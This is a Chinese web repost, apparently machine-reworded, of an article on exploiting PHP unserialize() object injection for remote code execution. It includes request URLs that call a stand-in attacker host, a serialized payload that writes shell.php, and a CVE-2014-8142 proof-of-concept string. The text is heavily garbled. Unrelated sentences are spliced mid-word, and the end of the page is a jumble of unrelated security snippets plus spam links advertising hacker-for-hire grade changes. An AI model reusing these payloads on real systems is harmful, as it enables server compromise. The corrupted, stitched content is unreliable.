*** 黑 *** 务:经过PHP反序列化进行长途代码履行

访客4年前黑客工具478

在NotSoSecure,我们每日都会进行浸透检验或代码查看,不过最近我们遇到了一段风趣的PHP代码,它或许会导致远程代码实行(RCE)缝隙,但对它进行运用却有点扎手。

在阅历了几个企图破解这段代码的不眠之夜后,我们坚信运用这个缝隙可以一起进行运用级和系统等级的代码实行。这篇来自Rahul Sasi的博文将解说关于该缝隙的一些信息,以及怎样对其进行运用。

0×01 包括缝隙的代码

在上面的代码中,用户操控的值或许会被传递给PHP的反序列化函数。在用户供应的输入未进行恰当处理就传递给函数unserialize()时,此刻就有或许导致该缝隙的发作。因为PHP中容许方针序列化,所以侵犯者可以经过将特别的序列化字符串传递到一个软弱的unserialization()调用中,以此导致一个恣意的PHP方针注入到运用程序规模中。在我们的代码中,运用程序接纳一个文件名,接着运用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前现已说到,上面的缝隙可以一起进行运用级和系统等级的代码实行,所以接下来我们将深化分析该缝隙。

 

为了成功地运用上述缝隙,有必要满意三个条件:

1、运用程序中有必要含有一个完成某个PHP魔幻 *** (例如__wakeup或许1、建议不要翻开不明来历的邮件附件,关于邮件附件中的文件要稳重作业,如发现有脚本或其他可实行文件可先运用杀毒软件进行扫描;__destruct)的类,可以用这个类进行恶意侵犯,或许开端一个“POP链”。

2、当调用软弱的unserialize()时,有必要声明侵犯期间所运用的一切类,不然有必要为这些类支撑方针主动加载。

3、传递给反序列化操作的数据有必要来自于一个文件,所以服务器上有必要包括有一个包括序列化数据的文件。

参阅: https://www.owasp.org/index.php/PHP_Object_Injection

在上面的场景中,条件1和条件2是为了满意于缝隙运用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该缝隙的运用有些扎手。

假如敞开了allow_url_fopen(最新的PHP版别默许禁用),那么PHP函数file_get_contents可以接纳远程URL作为其参数。在这种情况下,侵犯者可以向该函数中输入一个包括一个恶意文件的URL,该文件中包括了序列化的植入于一个远程服务器上的恶意数据。

http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0×02 exp.txt内容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

但不幸的是,我们检验的运用程序中并没有敞开allow_url_fopen。留意:包括一个/proc/self/environ这样的文件或许任何相似的内容(例如拜访日志)都不或许,因为序列化字符串不应该包括垃圾数据。所以,我们的文件应该只包括用于缝隙运用的序列化数据。

在解说怎样运用上面的代码之前,我们先解说一些有关PHP方针注入运用的常识,并分析上面的载荷(payload)究竟做了什么。

0×03 PHP方针注入

根据PHP反序列化的安全问题首先在2009年由Stefan Esser记载。现在,根据 *** ON的运用序列化模块运用量显着增多,所以让我们深化了解一下序列化模块。

0×04 PHP序列化

为了在一个数组中保存内容,PHP中会调用一个函数serialize(),它接纳一个给定的数组作为输入参数,并可以将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

参阅: http://www.hackingwithphp.com/5/11/0/saving-arrays

接下来,下图中序列化一个包括3个字符的字符串数组。

了解序列化的字符串:

a:3{               Array of 3 values   i:0                Integer, value [ index-0]   S:5:”Lorem”      String, 5 chars long, string value “Lorem”   i:1                Integer, value [index-1]   S:5:”Ipsum”      String , 5 chars long, string value “Ipsum”   i:2                Integer, value [index-2]   S:5:”Dolor”      String , 5 chars long, string value “Dolor”

0×05 PHP反序列化

unserialization()是serialize()的相反操作函数。它需求一个序列化的字符串作为其输入,并将其转换回一个数组方针。别的,考虑到方针实例化和主动加载,反序列化或许会导致代码被加载并被实行。

比如:

value=‘a:1:在设备的时分直接不设备webdav组件{s:4:"Test";s:17:"Unserializationhere!";}’unserialization($value);

0×06 PHP主动载入

在PHP中,我们可以界说一些特别函数,它们可以被主动地调用,所以这些函数不需求函数调用来实行它们里边的代码。考虑到这个特性,这些函数一般被称为魔幻函数或魔幻 *** 。PHP魔幻 *** 称号受限于PHP所支撑的部分关键字,例如construct、destruct等等。

此外,最常用的魔幻函数是__construct(),因为PHP版别5中,__construct *** 实际上是你所界说的类的结构函数。关于一个给定的类,假如PHP 5找不到__construct()函数,那么它将搜索一个与类姓名相同的函数,这是PHP中编写结构器的老 *** ,这种 *** 中你只需求界说一个姓名与类名相同的函数。

下面是PHP中的一些魔幻函数:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().

下面是PHP中的一些魔幻 *** :

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringRe *** 电视,以及其他所谓的物联网设备,从出世它们的缝隙就一贯没断过。这次我们要介绍的是针对Vizio智能电视的中间人侵犯,它在与服务器验证HTTPS证书时是可以被绕过的。flectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString

参阅:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

0×07 方针实例化

实例化是指:当经过在内存中创立类的一个实例时,一个类的具体化就变成了一个方针。所以,当你真实调用new class()时,class()就成为了一个实例化的方针。当你反序列化一个字符串时,而这正是PHP所做的(方针实例化),就会将一个字符串的数组转换成方针。反序列化方针容许操控一切特点:public、protected和private。但是,反序列化方针经过__wakeup()复苏,后来经过__destruct()被毁掉,因而这些(wakeup、destruct)魔幻函数中现已存在的代码将会得到实行。

参阅:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf

所以,我们需求找到_destruct或_wakeup内界说的现有可用的代码,然后绑架运用程序的流程。

在我们软弱的程序中,__destruct函数中包括一个函数file_put_contents:

所以我们的有效载荷(payload)看起来是这样的:

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
 O:3{:                            [ Object, takes 3 parameter with name foo]   ”foo”: 2:{                     [Parameter foo takes 2 values]   S:4:”file”;s:9:”shell.php”;  [String, 4 chars long, value “file”, string 9 chars long, value                                  shell.php]   s:4:”data”;s:5:”aaaa”;}      String, 4 chars long, string 5 chars long, value”aaaa”

所以当我们上面输入的是反序列化的字符串时,它容许操控类“foo”的特点。因而,魔幻 *** “__destruct”中存在的代码将会以我们操控的值来实行,在我们的比如中为file_put_contents,创立一个文件“shell.php”。

0×08 缝隙运用

在我们的比如中,因为输入到unserialization()函数的是内容是从file_get_contents中读取的文件。

$file_name = $_GET['session_filename'];unserialization(file_get_contents($file ));

所以,我们检验的其间一件事便是,找到一个 *** 来将exp.txt存放在服务器上。为此,我们有必要找到一个文件/图片上传功用,然后以序列化的有效载荷上传该文件。然后,我们要做的便是以下面的 *** 触发。

http://vul-server/unsearilize.php?session_filename=images/exp.txt

运用CVE-2014-8142和CVE-2015-0231可以进行系统级远程代码实行:

“Use-after-free缝隙存在于ext/standard/var_Unserializationr.re中的函数process_nested_data内,该缝隙存在于PHP 5.4.36的之前版别、5.5.20之前的5.5.x版别以及5.6.4之前的5.6 x版别中,它容许远程侵犯者经过一个精心编制的反序列化调用实行恣意代码,因为在一个方针的序列化特点中,这个调用影响到了对重复键的不恰当处理。”

https://bugs.php.net/bug.php?id=68710

上面的缝隙影响中心PHP unsearilize函数,这个POC由Stefan Esser发布,我们曾企图优化并运用该缝隙使代码实行成为或许,因为假如成功地进行了运用,那么将可以做到系统级的远程代码实行。

0×09 PHP+Apache安全架构

这些图现已足以具体解说PHP架构。

1)假如我们可以在PHP中的上下文实行代码,那么我们将可以打破许多约束。

2)应该可以经过shell拜访加固的PHP主机。

我的作业依然集中于这方面,而且我发现“Tim Michaud”在相同的网站上也能作业。我们将很快更新这篇博文。

http://[IP]/unsearilize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

 

0x0A 参阅资料

1、http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

2、https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes

3、http://php-autoloader.malkusch.de/en

4、https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection

5、http://security.stackexchange.com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting-

6、http://xahlee.info/php-doc/

7、http://phppot.com/php/php-magic-methods

8、http://php.net/manual/en/

9、http://stackoverflow.com/questions/1枚举服务,删去处于黑名单中的服务1630341/real-time-use-of-php-magic-methods-sleep-and-wakeup

*参阅来历:notsosecure,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

*** 黑 *** 务:经过PHP反序列化进行长途代码履行

#-*- coding:utf8 -*-6、SQLAGENTSAK.exe进程遍历系统进程查找杀软进程 syscalls.dup2 equ 0x214、 运用已启用的插件进行检验;通过PHP反序列化进行远程代码执行

*** 黑 *** 务# In cases where a server has multiple threads, we want to be sure thatdocker-compose up -d410f0000// data length

run.bat文件用于批改FreeSSHDService.ini和打包EXE,run.bat代码如下:卡巴斯基发布了相关的工作说明及技术分析,与360挟制情报中心的分析完全一致,工作可以比较明确地认为是根据源码层次的恶意代码植入。非正常的 *** 行为导致相关的恶意代码被卡巴斯基发现并陈说软件厂商,在8月7日NetSarang发布陈说时事实上现已出现了恶意代码在用户处发起实行的情况。同日NetSarang更新了8月7日的公告,加入了卡巴斯基的工作分析链接,符号删除了没有发现问题被运用的说法。Run waterfox.exe *** 黑 *** 务

3.1 动态代码注入的进程 有了认证与授权层后,物联网设备之间的信任链就建立起来了,彼此传递相关的、适合的信息。例如,一辆轿车或许与同一供货商的另一辆轿车建立信任联盟。但是,这种信任联络或许只容许轿车之间就安全这一项功用进行交互。当同一辆轿车与其经销商 *** 之间建立信任联盟时,这辆轿车或许就可以同享程表读数、毕竟保护记载等其它附加信息。r15:程序计数器pc,其时指令地址。

我们上文说了,ROP技术并不能绕过Canay保护 *** ,所以我们编译这个程序的时分需求关闭对战保护程序。我们可以运用下面的指令编译。9 – 查看翻开的端口

Lynis是一个为系统管理员供应的 Linux和Unix的审计东西 。 通过PHP反序列化进行远程代码执行

*** 黑 *** 务图 3 登录后的界面然后,用“fastboot boot”指令引导Android的新内核。除了新建的内核和原始ramdisk,还需指定内核偏移量,ramdisk偏移量,标签偏移量和指令行(运用在之前提取的bootimg.cfg中列出的值)。 TMOUT=`cat /etc/profile | grep TMOUT | awk -F[=] '{print $2}'`

WoSign 最近曝出一大堆问题,而且其处理问题的心情、解决问题的 *** 十分令人担忧。其官方形象也很糟糕,比如对国内 Let's Encrypt 用户进行 FUD 式挟制,比如只撤消了因 bug 误发的 GitHub 域名的证书,给某大学误发的证书视若无睹。具体问题有喜好的可以去相关邮件组查看谈论。

之一, 10秒之内登录你的 VPS 供应商账号,关机。二、查看ISAKMP情况 *** 黑 *** 务

ssl_session_cache shared:SSL:50m;

...通过PHP反序列化进行远程代码执行

Drozer反射机制的中心在于其ReflectedType机制。Drozer行将反射调用的方针分为array,binary,object,primitive,string,null等类型,这些类均由继承自ReflectedType的类来单独标明。ReflectedType中完成了根据不同类型,将不同的反射央求分发到指定的反射类中。这些继承自ReflectedType的反射类,在其内部运用“映射”的 *** ,完成了将远程的各种方针映射到本地的 *** ,在这些类中完成了该方针所支撑的操作,使得我们在运用反射操作远程方针时,就像操作本地方针相同。MBAP报头字段如下:

前三部分现已验证了用IDAPython可以让作业变的更简略,这一部分让我们看看逆向工程师怎样运用IDAPython的颜色和健壮的脚本特性。因为需求与方位无关的代码,我们想把字符串作为代码的一部分,因而有必要把字符串存储在栈上,正如你将在本文后续内容中所看到的。
本文标题: *** 黑 *** 务:经过PHP反序列化进行长途代码履行

相关文章

美国新增新冠确诊超宁财神尚敬22万例,累计确诊超2370万例

  美国新增新冠确诊超22万例,累计确诊超2370万例   据美国约翰斯·霍普金斯大学发布的全球新冠肺炎数据实时统计系统,截至美国东部时间1月16日晚6时,全美共报告新冠肺炎确诊23707002例,...

水果大全(水果分类有哪些)

水果大全(水果分类有哪些) 水果是我们最常吃的美食,也是人体必需的补充营养的食物,我们每个人天天都在吃水果,可是您知道水果分类吗?有哪些水果?哪些是您一次没有听过的,不妨品尝一下大自然赐予的美味。...

怎么查看老婆QQ信息

有一种宝宝最好养活,那就是不挑食的乖宝宝,不过孩子不挑食不代表就长得好,有的孩子什么都吃就是胖乎乎的,这怎么办好呢,相信大家还是不希望看到自己的孩子在长身体的时候营养跟不上吧,友谊长存小编就来说说吧。...

大学如何找黑客改成绩-黑客在线QQ接单是不是真的(西安黑客在线接单)

大学如何找黑客改成绩-黑客在线QQ接单是不是真的(西安黑客在线接单)

大学如何找黑客改成绩相关问题 有没有什么成为黑客的软件相关问题 黑客技能树是什么 彩票中奖秘籍100%中(3d彩票中奖秘籍)...

有什么方式可以吧蚂蚁花呗套到支付宝余额使用

有什么方式可以吧蚂蚁花呗套到支付宝余额使用

随着网络金融发展的今天,无数的花呗消费客户成全了花呗商家,都是因为我们年轻一代的需求越来越大,有需求就有市场,这是所有人都知道的一个道理,从最开始的信用卡,到现在的蚂蚁花呗,京东白条,苏宁任性付,同城...

美女黑客救教授视频(黑客教程视频)

美女黑客救教授视频(黑客教程视频)

本文导读目录: 1、《黑客帝国》的世界模式究竟是怎样子的? 2、黑客帝国有几部 3、黑客帝国共有几部 4、前年吧?看过一部小说,好像叫天才?是一个叫逍遥什么的和一个叫什么?林什么的,他是一...